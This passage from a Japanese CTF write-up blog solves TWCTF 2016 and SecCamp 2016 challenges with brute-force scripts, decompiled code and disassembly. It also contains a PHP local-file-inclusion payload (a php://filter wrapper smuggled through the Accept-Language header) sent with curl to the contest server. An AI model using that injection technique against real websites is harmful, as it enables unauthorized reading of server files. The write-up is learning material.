        sys.exit(1)

    n = len(key) / 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2*n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    # print(encrypted)
    if encrypted == "805eed80cbbc":
        print("[+] found! key = " + str(key))
        exit()

"""
% python2 solve.py
aaaa
baaa
caaa
daaa
[+] found! key = dpiq
"""

やりましたー。keyは dpiq ということが分かりました。あとは flag を順に総当りして終わりです。

import sys
import itertools
import string


flag = 'TWCTF{'
key = "dpiq"

target = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"

while True:
    for _c in string.ascii_letters + string.digits + "_!":
        test = flag + _c
        test += 'A' * (30 - 1 - len(test))
        test += "}"
        # print test

        n = len(key) / 2
        encrypted = ''
        for c in test:
            c = ord(c)
            for a, b in zip(key[0:n], key[n:2*n]):
                c = (ord(a) * c + ord(b)) % 251
            encrypted += '%02x' % c

        right = (len(flag) + 1) * 2
        # print "test: " + encrypted[0:right]
        if encrypted == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        if encrypted[0:right] == target[0:right]:
            print test
            print encrypted
            flag += _c
            break

"""
% python2 solve2.py
TWCTF{FAAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccbb0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FaAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FastAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c364b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasteAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasterAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3641327b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_AAAAAAAAAAAAAAAA}
805eed80cbbccb94c364132757b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_TAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ecb0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThaAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThanAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a8b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_AAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_SAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfb0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfecb0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShiAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8db0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8cab0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkaAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkanAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8b0b0b0b0f9
TWCTF{Faster_Than_ShinkansAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c3b0b0b0f9
TWCTF{Faster_Than_ShinkanseAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313b0b0f9
TWCTF{Faster_Than_ShinkansenA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8b0f9
[+] flag found! TWCTF{Faster_Than_Shinkansen!}
"""   

flag: TWCTF{Faster_Than_Shinkansen!}

Global Page (Web50)

日英対応のWebページが表示される問題です。pageというgetパラメータがあって、それを根拠にページを切り替えているようなので、 Mortal Magi Agentsのようなタイプかなと思いました。

なのであとは php://filter/ ほげほげでどうLFIするのかという思考に切り替わるのですが、 pageに入った値はピリオドとスラッシュが除去されるのでもうひと工夫必要です。
(この問題はもりたこちゃんとやってて、同じ認識でした)

で、僕は curl でページをフェッチしたときに、ブラウザでは確認できた en-US.php というような文字列が .php という風になってたので、 これはHTTP Request Headerにあるフィールド値を細工すれば良いのだなと勘付きました。
今回の問題は Accept-Language が該当したのでそれをいじります。

が、 index.php のソースを見たいなと思っていろいろトライしてみたんですけど、なぜかうまく行かなかったです><

% curl "http://globalpage.chal.ctf.westerns.tokyo/index.php?page=php:" -H "Accept-Language: /filter/read=string.toupper/resource=index" -v

*   Trying 40.74.130.170...

* Connected to globalpage.chal.ctf.westerns.tokyo (40.74.130.170) port 80 (#0)

> GET /index.php?page=php: HTTP/1.1

> Host: globalpage.chal.ctf.westerns.tokyo

> User-Agent: curl/7.50.1

> Accept: */*

> Accept-Language: /filter/read=string.toupper/resource=index

> 

< HTTP/1.1 200 OK

< Date: Sat, 03 Sep 2016 04:27:11 GMT

< Server: Apache/2.4.7 (Ubuntu)

< X-Powered-By: PHP/5.5.9-1ubuntu4.19

< Vary: Accept-Encoding

< Content-Length: 163

< Content-Type: text/html

< 

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>



<body>

<p>

</p>

</body>

</html>

* Connection #0 to host globalpage.chal.ctf.westerns.tokyo left intact

ここから先は、チームメイトのもりたこちゃんに任せちゃいました。(画像はもりたこちゃん提供)

f:id:katc:20160906225456p:plain

flag: TWCTF{I_found_simple_LFI}

Reverse Box (Rev50)

Retargetable Decompiler に突っ込んで、コードを見たら次の main()init(table) のようなコードを発見しました。 方針としては、(a) ある文字を別の文字にマッピングするテーブル(=Sボックス)の生成方法を調べるか、(b) 乱数要素を排除して、 256通りあるSボックスを全通りチェックする、の2通りがあります。
# 256通りの根拠は 0x80485ac の and eax, 0xff です。

// Address range: 0x804858d - 0x8048688
int32_t function_804858d(char * a1) {
    // 0x804858d
    srand(time(NULL));
    uint32_t v1 = rand(); // 0x80485a7
    // branch -> 0x80485a7
    while (v1 % 256 == 0) {
        // 0x80485a7
        v1 = rand();
        // continue -> 0x80485a7
    }
    // 0x80485ba
    *a1 = (char)v1;
    char * v2 = a1;
    int32_t v3 = 1; // bp+030
    char v4 = 1;
    int32_t v5 = v4;
    uint32_t v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0); // 0x80485ee
    char v7 = v6;
    uint32_t v8 = (2 * v3 ^ v3) % 256; // bp+131
    int32_t v9 = 4 * v8 ^ v8; // 0x8048611
    uint32_t v10 = (16 * v9 ^ v9) % 256; // bp+133
    int32_t v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000; // 0x8048640_1
    unsigned char v12 = *v2; // 0x8048651
    uint32_t v13 = v11 % 256;
    char result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
    *(char *)(v6 % 256 + (int32_t)v2) = result;
    // branch -> 0x80485cc
    while (v7 != 1) {
        // 0x80485cc
        // 0x80485cc
        v2 = a1;
        v3 = v11;
        v4 = v7;
        v5 = v4;
        v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0);
        v7 = v6;
        v8 = (2 * v3 ^ v3) % 256;
        v9 = 4 * v8 ^ v8;
        v10 = (16 * v9 ^ v9) % 256;
        v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000;
        v12 = *v2;
        v13 = v11 % 256;
        result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
        *(char *)(v6 % 256 + (int32_t)v2) = result;
        // branch -> 0x80485cc
    }
    // 0x8048687
    return result;
}

// Address range: 0x8048689 - 0x804875f
int32_t function_8048689(int32_t a1, int32_t * a2) {
    int32_t v1 = *(int32_t *)20; // 0x804869e
    if (a1 <= 1) {
        // 0x80486b2
        printf("usage: %s flag\n", (char *)*a2);
        exit(1);
        // UNREACHABLE
    }
    // 0x80486d4
    int32_t v2;
    function_804858d((char *)&v2);
    int32_t * str = (int32_t *)((int32_t)a2 + 4); // 0x8048727_0
    if (strlen((char *)*str) == 0) {
        // 0x8048735
        putchar(10);
        if (*(int32_t *)20 != v1) {
            // 0x8048756
            __stack_chk_fail();
            // branch -> 0x804875b
        }
        // 0x804875b
        return 0;
    }
    for (int32_t i = 0; i < strlen((char *)*str); i++) {
        char v3 = *(char *)(*str + i); // 0x80486f9
        printf("%02x", (int32_t)*(char *)(28 + (int32_t)v3));
        // continue -> 0x80486ea
    }
    // 0x8048735
    putchar(10);
    if (*(int32_t *)20 != v1) {
        // 0x8048756
        __stack_chk_fail();
        // branch -> 0x804875b
    }
    // 0x804875b
    return 0;
}
0x8048593:   c7 04 24 00 00 00 00        mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax

競技中は変な意地を張ってしまい (a) でやろうとしてしまいました。結果はバイナリと同じSボックスを生成できずに撃沈しました。

今日は (b) でやってみました。 乱数要素の排除は、 0x8048593〜0x80485a7を一旦 nop で潰しつつ、 mov eax, X を入れて、Sボックスの種となるeaxを思い通りの値にできるようにすることを意味します。

これをするために patchkit というpythonツールを利用しました。

github.com

(インストールでちょっとトラップがあったので、気が向いたら記事にしようかな)

パッチは次のもの(patch.py)を使いました。同じパッチでパラメータをもたせる手段が見つからなかったので、環境変数でなんとかしちゃいました。

import os

"""
0x8048593:   c7 04 24 00 00 00 00       mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
0x80485b1:   89 45 f4                   mov dword [ ebp + 0xfffffff4 ], eax
0x80485b4:   83 7d f4 00                cmp dword [ ebp + 0xfffffff4 ], 0x0
0x80485b8:   74 ed                      jz 0x80485a7 <function_804858d+0x1a>
"""

def simple_patch(pt):
    # pt.patch(0x8048593, hex='90' * 25) # NOT Works
    pt.patch(0x8048593, asm='nop;' * 25)
    pt.patch(0x8048593, asm='mov eax, ' + os.environ['EAX'])

あとは、第一段階でeaxの値を255から0までの総当りで探索して適切なeaxを求め、 第二段階でflagを総当りで探索〜っ、てコードを書き、動かして終了です。

import string
import subprocess

target = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
eax = -1

for i in range(255, 0, -1):
    if i % 20 == 0:
        print "[+] current: " + str(i)
    p = subprocess.Popen(["/home/katc/bin/patchkit/patch", "reverse_box", "patch.py"], 
        stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False, env={"EAX": str(i)})
    out, err = p.communicate()
    p = subprocess.Popen("./reverse_box.patched " + "TWCTF{" + "A" * (len(target) - 7) + "}", 
        shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()
    # print out[:12]
    if out[:12] == "95eeaf95ef94":
        print "[+] EAX = " + str(i)
        eax = i
        break
    else:
        p = subprocess.Popen(["rm", "reverse_box.patched"], 
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()        

flag = "TWCTF{"
while True:
    for _c in string.ascii_letters + string.digits + "_!-":
        test = flag + _c
        test += 'A' * (len(target) / 2 - 1 - len(test))
        test += "}"
        # if _c == "a":
        #     print test

        p = subprocess.Popen(["./reverse_box.patched", test], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
        out, err = p.communicate()
        if out[:len(target)] == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        offset = len(flag) * 2
        if out[offset:offset+2] == target[offset:offset+2]:
            flag += _c
            print flag
            break


"""
$ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
"""

"""
% python2 solve.py
[+] current: 240
[+] current: 220
[+] EAX = 214
TWCTF{5
TWCTF{5U
TWCTF{5UB
TWCTF{5UBS
TWCTF{5UBS7
TWCTF{5UBS71
TWCTF{5UBS717
TWCTF{5UBS717U
TWCTF{5UBS717U7
TWCTF{5UBS717U71
TWCTF{5UBS717U710
TWCTF{5UBS717U710N
TWCTF{5UBS717U710N_
TWCTF{5UBS717U710N_C
TWCTF{5UBS717U710N_C1
TWCTF{5UBS717U710N_C1P
TWCTF{5UBS717U710N_C1PH
TWCTF{5UBS717U710N_C1PH3
TWCTF{5UBS717U710N_C1PH3R
TWCTF{5UBS717U710N_C1PH3R_
TWCTF{5UBS717U710N_C1PH3R_W
TWCTF{5UBS717U710N_C1PH3R_W1
TWCTF{5UBS717U710N_C1PH3R_W17
TWCTF{5UBS717U710N_C1PH3R_W17H
TWCTF{5UBS717U710N_C1PH3R_W17H_
TWCTF{5UBS717U710N_C1PH3R_W17H_R
TWCTF{5UBS717U710N_C1PH3R_W17H_R4
TWCTF{5UBS717U710N_C1PH3R_W17H_R4N
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M1
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M12
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0
[+] flag found! TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
"""

flag: TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}


いやぁ、昨年のMMA CTFが面白かったので今年も期待していたのですが、解いていてワクワクする問題が多くてよかったです。

海外を意識したのか、メンバーのせいなのかは知りませんが、昨年より問題の難易度が高く、解けた数は昨年よりも減りました。 しかしながら、自分の1年間の成長を感じることができる問題セットになっていると感じました(すげぇ個人的な感想で参考にならないやつだw)

運営マジお疲れ様でした〜。来年も期待させてくださいっ!

セキュキャンCTF equations, hidden のWriteup

katc.hateblo.jp

昨日に引き続き、セキュリティキャンプ全国大会2016で開催されたCTFの話題です。 当日手を付けて、解けなかった問題2つ equations と hidden をピックアップしてWriteupを書きます。

equations

i386バイナリのようなので逆コンパイラ(貧乏人用)に突っ込みます。 こんな結果を得られました。
# 自分が当日になぜこの作業をしなかったのか謎い…

// Address range: 0x804847d - 0x8048547
int main(int argc, char ** argv) {
    int32_t v1 = (int32_t)argv; // 0x80484ab_0
    if (argc <= 3) {
        // 0x804848c
        printf("Usage %s <a> <b> <c>\n", (char *)*(int32_t *)argv);
        // branch -> 0x8048546
        // 0x8048546
        return -1;
    }
    int32_t str_as_i = atoi((char *)*(int32_t *)(v1 + 4)); // 0x80484b6
    int32_t str_as_i2 = atoi((char *)*(int32_t *)(v1 + 8)); // 0x80484ca
    int32_t str_as_i3 = atoi((char *)*(int32_t *)(v1 + 12)); // 0x80484de
    if (check(str_as_i, str_as_i2, str_as_i3) == 0) {
        // 0x8048535
        puts("Wrong key...");
        // branch -> 0x8048546
    } else {
        // 0x8048507
        printf("Congratz! flag is FLAG{%d}\n", calc_flag(str_as_i, str_as_i2, str_as_i3));
        // branch -> 0x8048546
    }
    // 0x8048546
    return 0;
}

// Address range: 0x8048548 - 0x80485c4
int32_t check(int32_t a1, int32_t a2, int32_t a3) {
    int32_t result = 0; // 0x80485c4_2
    if (5 * a2 + 3 * a1 == -4 * a3) {
        // 0x8048575
        if (2 * (2 * a2 + a1) == -5 * a3) {
            // 0x804859a
            result = -8 * a3 == a2 - a1;
            // branch -> 0x80485c3
        } else {
            result = 0;
        }
    }
    // 0x80485c3
    return result;
}

コードを見ると3元1次方程式の存在を確認できます。

考えるのも無駄なので Mathematica(貧乏人用) に突っ込んで終わりです。
# 3つ目の式は無くても解が変わらないというね…

Solve[{3x + 5y + 4z = 0, 2x + 4y + 5z = 0, x - y - 8z = 0}, {x,y,z}]

y = -\frac{7}{9} x, z = \frac{2}{9} x

で、解が不定になってしまいましたが、xを特定の値に縛ることをバイナリがしてないのでフラグが1つに定まりません。 ここで終わりにします。

hidden

バイナリが64ビットで、貧乏人用デコンパイラが使えないので、objdumpとテキストエディタで頑張りました。 といっても長くないので検討をつけやすいです。

見るべき箇所は main での genflag の呼び出しと、 genflag の中身です。 何をしているのかは下のpythonスクリプトを見て感じ取ってください。

0000000000400ee0 <main>:
  400ee0:   55                      push   rbp
  400ee1:   48 89 e5                mov    rbp,rsp
  400ee4:   48 81 ec 20 02 00 00    sub    rsp,0x220
  400eeb:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400ef2:   00 00 
  400ef4:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400ef8:   31 c0                   xor    eax,eax
  400efa:   48 c7 85 e0 fd ff ff    mov    QWORD PTR [rbp-0x220],0x401111 # "flag : %s"
  400f01:   11 11 40 00 
  400f05:   48 c7 85 e8 fd ff ff    mov    QWORD PTR [rbp-0x218],0x40111c # "You cannot get flag! Hahaha\n"
  400f0c:   1c 11 40 00 
  400f10:   bf 39 11 40 00          mov    edi,0x401139                   # "== HiddenFlag ==\n"
  400f15:   e8 46 fa ff ff          call   400960 <puts@plt>              # puts("== HiddenFlag ==\n")
  400f1a:   48 8d 85 f0 fd ff ff    lea    rax,[rbp-0x210]
  400f21:   be 00 02 00 00          mov    esi,0x200                      # 0x200
  400f26:   48 89 c7                mov    rdi,rax                        # [rbp-0x8]
  400f29:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f2e:   e8 34 00 00 00          call   400f67 <genflag>               # genflag([rbp-0x8], 0x200)
  400f33:   48 8b 85 e0 fd ff ff    mov    rax,QWORD PTR [rbp-0x220]      # "flag : %s"
  400f3a:   48 8d 95 f0 fd ff ff    lea    rdx,[rbp-0x210]                # = flag
  400f41:   48 89 d6                mov    rsi,rdx                        # [rbp-0x210]
  400f44:   48 89 c7                mov    rdi,rax                        # arg0
  400f47:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f4c:   e8 df f9 ff ff          call   400930 <printf@plt>            # printf("flag : %s", [rbp-0x210])
                                                                      # => printf("You cannot get flag! Hahaha\n")
  400f51:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  400f55:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28          # check stack canary
  400f5c:   00 00 
  400f5e:   74 05                   je     400f65 <main+0x85>
#---------------------------------------------------------------------
  400f60:   e8 6b fa ff ff          call   4009d0 <__stack_chk_fail@plt>
  400f65:   c9                      leave  
  400f66:   c3                      ret  
from ctypes import CDLL
libc = CDLL('libc.so.6')

arr = [
    0x21, 0x8a, 0x28, 0x34, 0x2a, 0xca, 
    0x7b, 0x81, 0x59, 0xa1, 0x89, 0xf4, 
    0x91, 0xca, 0x93, 0x2e, 0x4f, 0xb0, 
    0xb, 0xf8, 0x0, 0x0, 0x0, 0x0
    ]

arr2 = [
    0x10, 0xf7, 0x5e, 0x1b, 0xe, 0xca, 
    0x7d, 0x9e, 0x1d, 0xa3, 0xdd, 0x98, 
    0xad, 0x96, 0xd0, 0x25, 0x14, 0xf6, 
    0x3a, 0xc9, 0x2e, 0x85, 0x9a, 0x8d
    ]

libc.srand(0)
for i in range(0x18):
    arr[i] ^= (0xff & libc.rand())

libc.srand(0)
for i in range(0x18):
    arr2[i] ^= (0xff & libc.rand())

flag  = ''.join(map(lambda x: chr(x), arr)) 
flag += ''.join(map(lambda x: chr(x), arr2))
print(flag)

"""
[katc@K_atc seccamp-2016]$ python hidden.py 
FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}
"""

"""
0000000000400f67 <genflag>:
  400f67:   55                      push   rbp
  400f68:   48 89 e5                mov    rbp,rsp
  400f6b:   41 54                   push   r12
  400f6d:   53                      push   rbx
  400f6e:   48 83 ec 40             sub    rsp,0x40
  400f72:   48 89 7d b8             mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
  400f76:   89 75 b4                mov    DWORD PTR [rbp-0x4c],esi       # [rbp-0x4c] := 0x200
  400f79:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400f80:   00 00 
  400f82:   48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  400f86:   31 c0                   xor    eax,eax
  400f88:   c6 45 d0 21             mov    BYTE PTR [rbp-0x30],0x21       # arr[0]
  400f8c:   c6 45 d1 8a             mov    BYTE PTR [rbp-0x2f],0x8a       # arr[1]
  400f90:   c6 45 d2 28             mov    BYTE PTR [rbp-0x2e],0x28       # ...
  400f94:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  400f98:   c6 45 d4 2a             mov    BYTE PTR [rbp-0x2c],0x2a
  400f9c:   c6 45 d5 ca             mov    BYTE PTR [rbp-0x2b],0xca
  400fa0:   c6 45 d6 7b             mov    BYTE PTR [rbp-0x2a],0x7b
  400fa4:   c6 45 d7 81             mov    BYTE PTR [rbp-0x29],0x81
  400fa8:   c6 45 d8 59             mov    BYTE PTR [rbp-0x28],0x59
  400fac:   c6 45 d9 a1             mov    BYTE PTR [rbp-0x27],0xa1
  400fb0:   c6 45 da 89             mov    BYTE PTR [rbp-0x26],0x89
  400fb4:   c6 45 db f4             mov    BYTE PTR [rbp-0x25],0xf4
  400fb8:   c6 45 dc 91             mov    BYTE PTR [rbp-0x24],0x91
  400fbc:   c6 45 dd ca             mov    BYTE PTR [rbp-0x23],0xca
  400fc0:   c6 45 de 93             mov    BYTE PTR [rbp-0x22],0x93
  400fc4:   c6 45 df 2e             mov    BYTE PTR [rbp-0x21],0x2e
  400fc8:   c6 45 e0 4f             mov    BYTE PTR [rbp-0x20],0x4f
  400fcc:   c6 45 e1 b0             mov    BYTE PTR [rbp-0x1f],0xb0
  400fd0:   c6 45 e2 0b             mov    BYTE PTR [rbp-0x1e],0xb
  400fd4:   c6 45 e3 f8             mov    BYTE PTR [rbp-0x1d],0xf8
  400fd8:   c6 45 e4 00             mov    BYTE PTR [rbp-0x1c],0x0
  400fdc:   c6 45 e5 00             mov    BYTE PTR [rbp-0x1b],0x0
  400fe0:   c6 45 e6 00             mov    BYTE PTR [rbp-0x1a],0x0
  400fe4:   c6 45 e7 00             mov    BYTE PTR [rbp-0x19],0x0        # arr[0x17]
  400fe8:   8b 45 b4                mov    eax,DWORD PTR [rbp-0x4c]
  400feb:   83 f8 18                cmp    eax,0x18
  400fee:   76 07                   jbe    400ff7 <genflag+0x90>
#---------------------------------------------------------------------
  400ff0: c7 45 b4 18 00 00 00  mov    DWORD PTR [rbp-0x4c],0x18      # [rbp-0x4c] := 0x18
#---------------------------------------------------------------------
  400ff7: bf 00 00 00 00        mov    edi,0x0                        # 0
  400ffc: e8 ef f9 ff ff        call   4009f0 <srand@plt>             # srand(0)
  401001: c7 45 cc 00 00 00 00  mov    DWORD PTR [rbp-0x34],0x0       # [rbp-0x34] = 0 
                                                                      # i := [rbp-0x34]
  401008: eb 27                 jmp    401031 <genflag+0xca>
#=====================================================================
  40100a: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]       # arr[i] = [rbp-0x34] 
  40100d: 48 63 d0              movsxd rdx,eax
  401010: 48 8b 45 b8           mov    rax,QWORD PTR [rbp-0x48]
  401014: 48 8d 1c 02           lea    rbx,[rdx+rax*1]                # rbx := [i + [rbp-0x48]]
  401018: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  40101b: 48 98                 cdqe   
  40101d: 44 0f b6 64 05 d0     movzx  r12d,BYTE PTR [rbp-0x30+rax*1] # r12d := arr[i]
  401023: e8 f8 f9 ff ff        call   400a20 <rand@plt>              # rand()
  401028: 44 31 e0              xor    eax,r12d                       # arr[i] ^= char(rand())
  40102b: 88 03                 mov    BYTE PTR [rbx],al      
  40102d: 83 45 cc 01           add    DWORD PTR [rbp-0x34],0x1       # [rbp-0x34] += 1 (i++)
#---------------------------------------------------------------------
  401031: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  401034: 3b 45 b4              cmp    eax,DWORD PTR [rbp-0x4c]
  401037: 7c d1                 jl     40100a <genflag+0xa3>          # [rbp-0x34] < 0x18
#---------------------------------------------------------------------
"""

"""
[katc@K_atc seccamp-2016]$ gdb -q hidden
gdb-peda$ b printf
gdb-peda$ r
gdb-peda$ disas genflag
Dump of assembler code for function genflag:
   0x0000000000400f67 <+0>:     push   rbp
   0x0000000000400f68 <+1>:     mov    rbp,rsp
   0x0000000000400f6b <+4>:     push   r12
   0x0000000000400f6d <+6>:     push   rbx
   0x0000000000400f6e <+7>:     sub    rsp,0x40
   0x0000000000400f72 <+11>:    mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
   0x0000000000400f76 <+15>:    mov    DWORD PTR [rbp-0x4c],esi
   0x0000000000400f79 <+18>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400f82 <+27>:    mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400f86 <+31>:    xor    eax,eax
   0x0000000000400f88 <+33>:    mov    BYTE PTR [rbp-0x30],0x10
   0x0000000000400f8c <+37>:    mov    BYTE PTR [rbp-0x2f],0xf7
   0x0000000000400f90 <+41>:    mov    BYTE PTR [rbp-0x2e],0x5e
   0x0000000000400f94 <+45>:    mov    BYTE PTR [rbp-0x2d],0x1b
   0x0000000000400f98 <+49>:    mov    BYTE PTR [rbp-0x2c],0xe
   0x0000000000400f9c <+53>:    mov    BYTE PTR [rbp-0x2b],0xca
   0x0000000000400fa0 <+57>:    mov    BYTE PTR [rbp-0x2a],0x7d
   0x0000000000400fa4 <+61>:    mov    BYTE PTR [rbp-0x29],0x9e
   0x0000000000400fa8 <+65>:    mov    BYTE PTR [rbp-0x28],0x1d
   0x0000000000400fac <+69>:    mov    BYTE PTR [rbp-0x27],0xa3
   0x0000000000400fb0 <+73>:    mov    BYTE PTR [rbp-0x26],0xdd
   0x0000000000400fb4 <+77>:    mov    BYTE PTR [rbp-0x25],0x98
   0x0000000000400fb8 <+81>:    mov    BYTE PTR [rbp-0x24],0xad
   0x0000000000400fbc <+85>:    mov    BYTE PTR [rbp-0x23],0x96
   0x0000000000400fc0 <+89>:    mov    BYTE PTR [rbp-0x22],0xd0
   0x0000000000400fc4 <+93>:    mov    BYTE PTR [rbp-0x21],0x25
   0x0000000000400fc8 <+97>:    mov    BYTE PTR [rbp-0x20],0x14
   0x0000000000400fcc <+101>:   mov    BYTE PTR [rbp-0x1f],0xf6
   0x0000000000400fd0 <+105>:   mov    BYTE PTR [rbp-0x1e],0x3a
   0x0000000000400fd4 <+109>:   mov    BYTE PTR [rbp-0x1d],0xc9
   0x0000000000400fd8 <+113>:   mov    BYTE PTR [rbp-0x1c],0x2e
   0x0000000000400fdc <+117>:   mov    BYTE PTR [rbp-0x1b],0x85
   0x0000000000400fe0 <+121>:   mov    BYTE PTR [rbp-0x1a],0x9a
   0x0000000000400fe4 <+125>:   mov    BYTE PTR [rbp-0x19],0x8d
   0x0000000000400fe8 <+129>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x0000000000400feb <+132>:   cmp    eax,0x18
   0x0000000000400fee <+135>:   jbe    0x400ff7 <genflag+144>
#---------------------------------------------------------------------
   0x0000000000400ff0 <+137>:   mov    DWORD PTR [rbp-0x4c],0x18
   0x0000000000400ff7 <+144>:   mov    edi,0x0                        # 0
   0x0000000000400ffc <+149>:   call   0x4009f0 <srand@plt>           # srand(0)
   0x0000000000401001 <+154>:   mov    DWORD PTR [rbp-0x34],0x0       # i = 0
   0x0000000000401008 <+161>:   jmp    0x401031 <genflag+202>
#=====================================================================
   0x000000000040100a <+163>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040100d <+166>:   movsxd rdx,eax
